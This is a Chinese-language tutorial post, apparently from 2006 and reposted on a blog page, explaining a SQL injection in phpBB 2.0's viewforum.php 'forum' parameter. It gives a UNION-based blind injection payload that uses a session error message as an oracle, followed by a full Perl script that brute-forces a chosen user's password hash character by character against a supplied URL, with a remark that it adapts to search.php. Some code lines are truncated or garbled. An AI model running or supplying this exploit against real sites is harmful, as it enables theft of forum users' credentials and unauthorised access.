php $_post 注入,php注入实例

php注入实例

更新时间:2006年10月09日 00:00:00   作者:

php注入实例

在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉!

相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:

在viewforum.php中有一个变量没过滤:

if ( isset($HTTP_GET_VARS

{

$forum_id = ( isset($HTTP_GET_VARS

($HTTP_POST_VARS

}

else if ( isset($HTTP_GET_VARS['forum']))

{

$forum_id = $HTTP_GET_VARS['forum'];

}

else

{

$forum_id = '';

}

就是这个forum,而下面直接把它放进了查询中:

if ( !empty($forum_id) )

{

$sql = "SELECT *

FROM " . FORUMS_TABLE . "

WHERE forum_id = $forum_id";

if ( !($result = $db->sql_query($sql)) )

{

message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);

}

}

else

{

message_die(GENERAL_MESSAGE, 'Forum_not_exist');

}

如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回Could not obtain forums information的信息,于是下面的代码就不能执行下去了

//

// If the query doesn't return any rows this isn't a valid forum. Inform

// the user.

//

if ( !($forum_row = $db->sql_fetchrow($result)) )

{

message_die(GENERAL_MESSAGE, 'Forum_not_exist');

}

//

// Start session management

//

$userdata = session_pagestart($user_ip, $forum_id) /****************************************

关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太

长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip,

$thispage_id, TRUE)),同样是在这个文件中定义的,其中有如下代码

$sql = "UPDATE " . SESSIONS_TABLE . "

SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login

WHERE session_id = '" . $session_id . "'

AND session_ip = '$user_ip'";

if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )

{

$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "

(session_id, session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)

VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";

if ( !($result = $db->sql_query($sql)) )

{

message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__,

$sql);

}

在这里有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现Error

creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示Error creating new session : session_begin,就表明你猜对了第一位了,其它位类似.

如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.

use HTTP::Request::Common;

use HTTP::Response;

use LWP::UserAgent;

$ua = new LWP::UserAgent;

print " ***********************n";

print " phpbb viewforum.php expn";

print " code by pinkeyesn";

print " www.icehack.comn";

print " ************************n";

print "please enter the weak file's url:n";

print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";

$adr=;

chomp($adr);

print "please enter the user_id that you want to crackn";

$u=;

chomp($u);

print "work starting,please wait!n";

@pink=(48..57);

@pink=(@pink,97..102);

for($j=1;$j<=32;$j++){

for ($i=0;$i

$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";

$request = HTTP::Request->new('GET', "$url");

$response = $ua->request($request);

if ($response->is_success) {

if ($response->content =~ /Error creating new session/) {

$pwd.=chr($pink[$i]);

print "$pwdn";

}

}

}

}

if ($pwd ne ""){

print "successfully,The password is $pwd,good luckn";}

else{

print "bad luck,work failed!n";}

至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了,如要错误请上www.icehack.com指正.

相关文章

1a1b05c64693fbf380aa1344a7812747.png

PHP与javascript的两种交互方式...2006-10-10

4f55910a645b073bc4fc65dc10dc14bd.png

封装性是面向对象编程中的三大特性之一,封装性就是把对象的属性和服务结合成一个独立的相同单位,并尽可能隐蔽对象的内部细节。2009-09-09

0ea3c7666119d5615e582f823fb3fad6.png

今天突然碰到了php的问题,发现这篇文章,很老的文章了,但很实用,下一篇我将整理更新的php5的数组2008-08-08

4f96a78db829b1556ff16de21e013c7a.png

PHP中调用JAVA...2006-10-10

8cc1031babc6aff2319f1c6af8544aa0.png

BS结构中使用PHP访问ORACLE LOB...2006-10-10

0c932a99bb7b6f23c937db507070cc7b.png

php 表单验证实现代码,后面都有详细的说明。最近的php将会让你学到更多。2009-03-03

cca732bf65a93ed2ec0ac80c638460fe.png

利用PHP实现与ASP Banner组件相似的类...2006-10-10

2d9f31f2af7b675a3d153d2b7f1035a7.png

跟我学小偷程序之成功偷取首页(第三天)...2006-10-10

b452cee8ec5cd9e58ab98eba17281e59.png

PHP学习笔记之二 php入门知识点小结,学习php的朋友可以参考下。2011-01-01

f4838ec7e2d4da28e0b57d4e852dadd4.png

我们上面说过面向对象程序的单位就是对象,但对象又是通过类的实例化出来的,既然我们类会声明了,下一步就是实例化对象了。2009-09-09

最新评论

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值